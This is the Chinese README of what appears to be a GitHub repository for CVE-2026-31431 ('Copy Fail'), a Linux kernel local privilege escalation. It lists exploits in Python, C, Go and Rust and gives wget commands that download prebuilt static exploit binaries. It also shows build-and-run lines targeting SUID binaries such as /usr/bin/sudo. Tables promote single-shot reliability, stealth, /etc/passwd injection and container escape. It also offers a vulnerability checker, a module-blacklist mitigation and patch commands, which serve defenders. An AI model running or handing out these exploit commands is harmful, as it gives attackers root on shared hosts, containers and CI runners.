一个 100% 可靠的 Linux 本地权限提升漏洞,影响自 2017 年以来所有主流发行版。
authencesn中的一个逻辑错误,通过AF_ALG和splice()链式利用,形成 4 字节页缓存写入——近十年来一直可被静默利用。
本仓库中的所有代码和文档仅供授权的安全研究和教育目的使用。
在您不拥有或未经明确书面授权测试的系统上运行漏洞利用代码是违法的。使用本仓库即表示您对自身行为承担全部责任。
.
├── README.md ← 您当前所在位置
├── LICENSE ← MIT
├── .gitignore
├── docs/
│ ├── analysis-report.md ← 全面安全分析
│ ├── analysis-report.html ← 带样式的 HTML 版本
│ ├── exploit-walkthrough.md ← 逐行 PoC 分析
│ └── exploit-walkthrough.html ← 带样式的 HTML 版本
└── poc/
├── README.md ← PoC 使用指南
├── copy_fail_exp.py ← 官方 PoC(732 字节,混淆版)
├── copy_fail_exp_readable.py ← 反混淆 + 注释版本
├── copy_fail_exp_compat.py ← Python 3.6+ 兼容版(ctypes splice)
├── copy_fail_exp_alpine.py ← Alpine Linux 变体
├── copy_fail_exp.c ← C 语言实现(零依赖)
├── copy_fail_exp.go ← Go 语言实现(零依赖)
├── copy_fail_rust/ ← Rust 语言实现
│ ├── Cargo.toml
│ └── src/main.rs
├── check_vulnerable.py ← 漏洞扫描器
└── mitigate.sh ← 一键缓解脚本
# 从 GitHub Releases 获取——预构建二进制文件(Linux amd64/arm64)+ 所有 Python 脚本
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-go-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-c-linux.tar.gz
wget https://github.com/nisec-eric/cve-2026-31431/releases/latest/download/copy-fail-python.tar.gz
tar xzf copy-fail-go-linux.tar.gz
tar xzf copy-fail-c-linux.tar.gz
tar xzf copy-fail-python.tar.gz
# Go 静态二进制(无需 Python)
chmod +x copy-fail-exp-amd64
./copy-fail-exp-amd64
# C 静态二进制
chmod +x copy-fail-exp-c-amd64
./copy-fail-exp-c-amd64
# 或直接使用 Python 脚本
python3 check_vulnerable.py
📦 每次推送
v*标签时,GitHub Actions 都会自动构建发布版本。 Go 和 C 二进制文件以静态二进制形式为 linux/amd64 和 linux/arm64 构建。
python3 poc/check_vulnerable.py
sudo bash poc/mitigate.sh
此操作会将 algif_aead 内核模块加入黑名单——对 99% 的系统无任何影响。
# Debian/Ubuntu
sudo apt update && sudo apt upgrade linux-image-*
# RHEL/CentOS/Fedora
sudo dnf update kernel
# 重启进入已修复的内核
sudo reboot
python3 poc/check_vulnerable.py
# 退出码 1 = 已受保护 ✓
警告:仅在您拥有或已获授权测试的系统上运行。
# C
gcc -static -o exp ./poc/copy_fail_exp.c && ./exp
# Python
python3 poc/copy_fail_exp.py
python3 poc/copy_fail_exp_compat.py # Python < 3.10
# Go
go build -o exp ./poc/copy_fail_exp.go && ./exp
# Rust
cd poc/copy_fail_rust && cargo run --release
所有版本均接受可选参数以指定不同的 SUID 二进制文件:
python3 poc/copy_fail_exp.py /usr/bin/passwd
./exp /usr/bin/sudo
全面的漏洞评估,涵盖:
authencesn 临时写入)逐行 PoC 分析,涵盖:
AF_ALG 套接字流程、splice() 页缓存投递、sg_chain() 机制authencesn ESN 临时写入/etc/passwd 注入、共享库定向、容器逃逸欢迎贡献:
请提交 issue 或 pull request。
MIT — 请负责任地使用。
| 字段 | 详情 |
|---|
| CVE | CVE-2026-31431 |
| 别名 | Copy Fail |
| 类型 | Linux 内核本地权限提升(LPE)/ 页缓存任意写入 |
| CVSS v3.1 | 7.8 高危 — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-669(跨领域资源传输不正确) |
| 组件 | crypto/algif_aead — authencesn 加密模板 |
| 引入时间 | 2017 年(提交 72548b093ee3) |
| 修复时间 | 主线提交 a664bf3d603d(2026-04-01) |
| 已修复内核 | v6.18.22+、v6.19.12+、v7.0+ |
| 发现者 | Xint / Theori(Taeyang Lee + Xint Code AI 辅助审计) |
| 披露时间 | 2026-04-29 — copy.fail |
| 典型 Linux LPE | Copy Fail |
|---|
| 竞态条件 | 必需 | 无需 |
| 各发行版偏移量 | 必需 | 无需 |
| 可靠性 | 30–80% | 100%,单次触发 |
| 受影响窗口 | 狭窄 | 2017 → 2026(9 年) |
| 磁盘文件修改 | 可能 | 无(隐蔽) |
| 跨容器 | 否 | 是 |
| 文件 | 语言 | 要求 | 备注 |
|---|
copy_fail_exp.py | Python 3.10+ | 仅标准库 | 官方 732 字节 PoC |
copy_fail_exp_compat.py | Python 3.6+ | 标准库 + ctypes | 适用于 CentOS 7、AL2 等 |
copy_fail_exp_alpine.py | Python 3.10+ | 仅标准库 | 针对 Alpine 上的 /bin/ping |
copy_fail_exp.c | C | gcc + Linux 头文件 | 静态二进制,零依赖 |
copy_fail_exp.go | Go 1.21+ | 仅标准库 | 静态二进制,零依赖 |
copy_fail_rust/ | Rust 1.70+ | libc + flate2 crates | 静态二进制 |
| 环境 | 风险 | 原因 |
|---|
| 多租户 Linux 主机 | 🔴 高 | 任意用户 → root |
| Kubernetes / 容器 | 🔴 高 | 共享页缓存 → 容器逃逸 |
| CI 运行器(自托管) | 🔴 高 | 恶意 PR → 运行器 root |
| 云 SaaS(用户代码) | 🔴 高 | 租户 → 主机 root |
| 标准服务器 | 🟡 中 | 与 Web RCE / 窃取凭据链式利用 |
| 单用户笔记本电脑 | 🟢 低 | 本身即为唯一用户 |